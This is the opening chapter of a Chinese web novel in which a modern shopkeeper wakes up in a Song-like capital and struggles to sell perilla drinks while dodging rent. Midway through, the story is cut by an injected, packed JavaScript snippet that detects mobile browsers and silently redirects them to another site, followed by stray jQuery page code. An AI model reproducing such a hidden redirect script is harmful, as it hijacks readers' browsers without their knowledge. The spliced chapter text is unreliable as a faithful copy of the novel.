1. 第 1 章
作品:《在古代营销卖奶茶,赚翻了》 祝余怎么都想不到,自己能一觉睡到穿越,还是穿到一个架空宋的朝代。
“豆腐,卖豆腐咧!”
“枣糕、桂花糕、广寒糕......”
日头高升,金红色光线直直洒落在东京府。初夏的阳光十分温暖,照得市井都热闹了起来。
汤饺麻团、羊杂咸菜、胶枣杏汤......
东京府聚天下之奇,若外乡人行至其中,定眼花缭乱目不暇接。
“紫苏饮,酸甜可口的紫苏饮......”
在一片吵架似的叫卖声中,一声有气无力的吆喝格格不入,被淹没在叫卖大潮中。
此人就是祝余,在梦中猝死穿到此处的倒霉蛋——祝余。
这个朝代和祝余学过的宋朝历史差不多,虽历史人物不同,但制度、风土和历史走势大差不差,让祝余的恐慌减少许多。
幸运的是,祝余穿上的这位同名原主是个良民孤女。
原身猝死后,祝余来的这几天没有被人发现异常,她摸索着适应了这个世界,没有被当成异类烧死。
原身虽是个刚成年的孤女,却也能靠着卖“饮料”养活自己。
“客人,日头热了,来碗紫苏饮解解渴吧。”
想吃饭就得挣钱,有购买意向的客人经过,祝余虽不抱希望却也仍张嘴吆喝。
和历史上的宋朝初期一样,朝廷强盛,国家富强,吃喝享乐行当发展空前繁荣。
各式点心、茶水饮品是如今百姓的“零食”,原身做的小生意就是属“饮料”类的行当。
当然,原主能因各式生活习性导致猝死,自然是赚不到钱的。
路过那人听到祝余清脆的声音,转脸给了她几分视线,看清她较之周围小贩相对白净清秀的脸后便走上前来。
有戏!
祝余见此心中激动,不枉费她特意把自己收拾干净。看人先看脸,门面也是生意的一部分。
祝余穿越前也开过店,为了赚钱学了些销售心理学。
其中【首因效应】是引客的第一步。
所谓首因效应,就是收拾好门面,给客人建立有力的第一印象。或物美价廉、或品类多样、或干净卫生......
对于消费者来说,第一印象不好,便没了在你这里消费的冲动。
原主猝死前身体不好,留给祝余可调配的原材料不多,由于没有记忆,她只能凭着所学知识,勉强还原历史上有名的饮子——紫苏饮。
即是这个世界有名的饮品,售卖的摊贩自然不在少数,且竞争对手们品类多样,祝余完全没有竞争力。
她只能把小摊车和自己这个卖家收拾干净,至少有点优势。
那小娘子果然被祝余清脆悦耳的声音吸引看了过来,她的视线在干净的小摊上转了一圈,最后落在祝余蜡黄却清秀的脸上。
‘这小娘子摊子不似其他摊子般脏乱,人也收拾得利整,正好我也渴了,便在她家买碗饮子吧。’
那客人这般想着,挪动脚步向祝余的小摊靠近。
“不知娘子这儿有何饮子售卖?”那娘子目光在台面上的木桶流连,眉头不自觉拧了起来。
怎的只有紫苏饮?
祝余心中咯噔,语气不太自信:“今日只有紫苏饮,娘子来一碗?”
若自己是客人,看到一个饮料摊不如其他家种类多,对它的味道自然不敢抱希望。
果然,那客人摇摇头,对祝余抱歉一笑便离开了。
唉——
祝余摸清情况后在两天前重新出摊,但在这小摊竞争激烈的东京城,她赚不到钱!
“嗤!”
正当祝余要被周身的气馁情绪淹没时,隔壁传来一声毫不收敛的嘲笑声。
祝余闻声直起身子,看向隔壁大娘。
这一眼虽不凶狠,却直接犀利。
面对祝余这么直接的反馈,大娘下意识心虚地挪开眼。
避开对视的下一秒,隔壁大娘又不忿地自顾自生起了气。
‘我心虚什么,该心虚的是她!往日看她文文静静不爱说话,自己帮过她几回,她没有感谢回馈也就算了,前段时间生个病回来变得神神叨叨,不走正道。我笑一声怎么了!’
隔壁大娘故作凶狠瞪了回去,却没对上祝余的眼神。
此时的祝余已在收拾东西,一反常态在午时日头正盛、饮子最好卖的时候收摊。
‘算你识相,反正也卖不出去,不如早早回家另寻出路。’
隔壁大娘不再关注,扭回头卖力吆喝自家生意。
祝余收工是真,却不是隔壁大娘想的那般气馁。
她一直是个乐观要强的人,在原来的世界生意也是做得有声有色,怎会轻易被打倒。
不过这离奇的穿越确实让她昏了头,前些日子只敢小心翼翼地按图索骥。
她犯了个很大的错误。
做生意第一步,就是要市场调研,决定路线。
而她因自己是天外来客,束手束脚,只了解个大概,就按着原主步调继续生活了。
是她昏了头。
原主的路子要是可行,生活又怎会这般艰难?
不能再埋头莽下去了,我自己孤零零一个人在这古代封建社会,是真的会饿死!
利索收拾好东西后,祝余推起小摊车就往家走。
不算大的摊车压在瘦弱的身躯上,还是勉强了些,祝余的身躯依旧挺力,踏出的脚步比今早来时更有劲了!
现在还能自在活着,就是赚到!
大不了重新开始!
她有着千年后的开店经验,上下几年前的广告、销售知识,还学习过销售心理学,干什么都会成功!
我的店开在哪儿都能大卖!
——
祝余干劲十足,把摊车推回原主租住的破旧小院后,随便喝了碗米汤对付几口便打算出门。
“咚、咚、咚——”
正当她要出门时,院门被敲响了。
“小祝、祝余在吗?我是宋大娘。”
祝余迈出的脚又收了回来。
宋大娘?
祝余穿过来后把原主租住的小院翻了遍,其中不乏账本契书。
从账本一笔笔细无巨细的记录可看出,原主几乎没有交际需求,果然经过后续的打探证实原主连邻里都鲜少来往。
也是从租赁契书上的信息,祝余才知道原主糊口的行当及摆摊地点。
在东京府摆摊不似现代的夜市,这儿一摊一地都划分清楚,需要和相关的部门租赁交摊租。
祝余还记得契书上的交租日期,便是离租期还剩月余要收租,也应是在街上沿路一道收过去,何必东一家西一户上门。
来的人,大约是来收这小院租金的。
祝余深吸一口气,垂头耷肩开了小院门。
她开门看了眼人后嘴唇微动,而后垂头站着。
“宋大娘......”她嘴唇翁动,声细如蚊。
祝余开门后这反应,让宋大娘沉默一瞬,而后重重叹了口气。
“哎——”
赌对了!
祝余低着头维持着不好意思的状态,心里却乐开了花。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433248|169267||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
依照原主的交际习惯,祝余猜测她面对前来收租的房主,自是半句话不会多说的状态,更别说‘祝余’现在是没钱提前交租的情况,自是无言面对宋大娘。
“宋大娘,能否再容我两日。”
宋大娘已经心软,祝余也不能完全沉默。
宋大娘吸了口气,就要拒绝。
这小娘子虽可怜,但提前一月收屋子的租赁钱是规矩,若开了口子,日后人人都央求,她便难做了。
“若不提前一月交赁钱,那便是一个月后不再赁屋的意思,你这般......”
宋大娘边说边转动眼珠,视线从祝余枯黄的发顶移到窄小的院中。
祝余租的是东京城内常见的一房一院,因着位置较为偏僻且院子相对窄小,小院租金较低。
院子实在是小,一间方寸小屋,一方无井小院,墙边的炉子柴堆便是厨房。
按说一人堪堪够住,祝余一个带着推车的小摊贩竟也勉强住进来了,还将院子收拾得井井有条。
宋大娘视线从满满当当的有序小院中收回,重新落在眼下的脑袋上。
“哎——”她又叹了口气,“今日也走累了,余下的院子便五日后再来吧。”
祝余猛地抬头,惊喜的看向宋大娘,“多谢大娘,我......”
对上祝余满是感激的眼睛,宋大娘温和一笑,摆摆手转身施施然离开。
罢了,她一介孤女讨口饭吃不容易。
祝余仍站在原地目送她离开,脚步久久不移。
顺利达到了预设的卖惨目的,还是会被宋大娘的心软感动。
“让让!老吴家清凉解渴的紫苏饮!”
途径闲汉的吆喝声让祝余发散的思绪尽数回笼。
她回身收拾泡在半满水瓦罐中的紫苏叶,放进小背篓中码放整齐。
祝余背起满是紫苏叶的小背篓,锁好院门,朝着城内热闹坊市走去。
——
东京府当真是十步一饮、百步一茶。
越进入热闹繁华的中心地带,祝余越庆幸自己停下脚步的决定。
价格低廉、商贩繁多,饮子和茶水受欢迎的程度,大大超乎想象。
“饮子嘞!各式各样的饮子!”
“紫苏饮一文钱两碗!”
“散茶!一文一碗!散茶!一文一碗!”
走过两条街,祝余心中大致有数,同时也头疼起来。
东京府的百姓大多爱喝茶水饮子,在街边渴了便会来上一碗,比起祝余原世界的奶茶咖啡有过之而无不及,市场巨大。
这么大块肉,谁都想吃一口,市面上的茶楼、饮店令人眼花缭乱,便是专做吃食的酒楼食肆,也有茶水饮子的菜单。
各类饮品的日常程度,便是街边的小商小贩,都能在这个市场喝一口汤。
祝余在一处吆喝卖力、生意却惨淡的小摊旁停下。
小摊贩因场地、成本的制约,售卖的种类相对较少,眼前这位摊主更是少,拢共就两样。
他左手一大桶紫苏饮,右手一方便携小灶煮着市面上常见的散茶。
较之左右至少四五种选择,他处在中间显得十分没有竞争力。
就在祝余要离开之时,那小摊前来了俩凶神恶煞的壮汉。
“哎,你!这摊子租期没两日了,快快交上赁钱!”
那小摊贩面色发苦,缩着肩膀求道:“几位哥再容我几日吧,我就快攒够,家中尚有......”
“别同我说这些个没用的,你要养家糊口,我不用?人人这般,我这活计该如何?”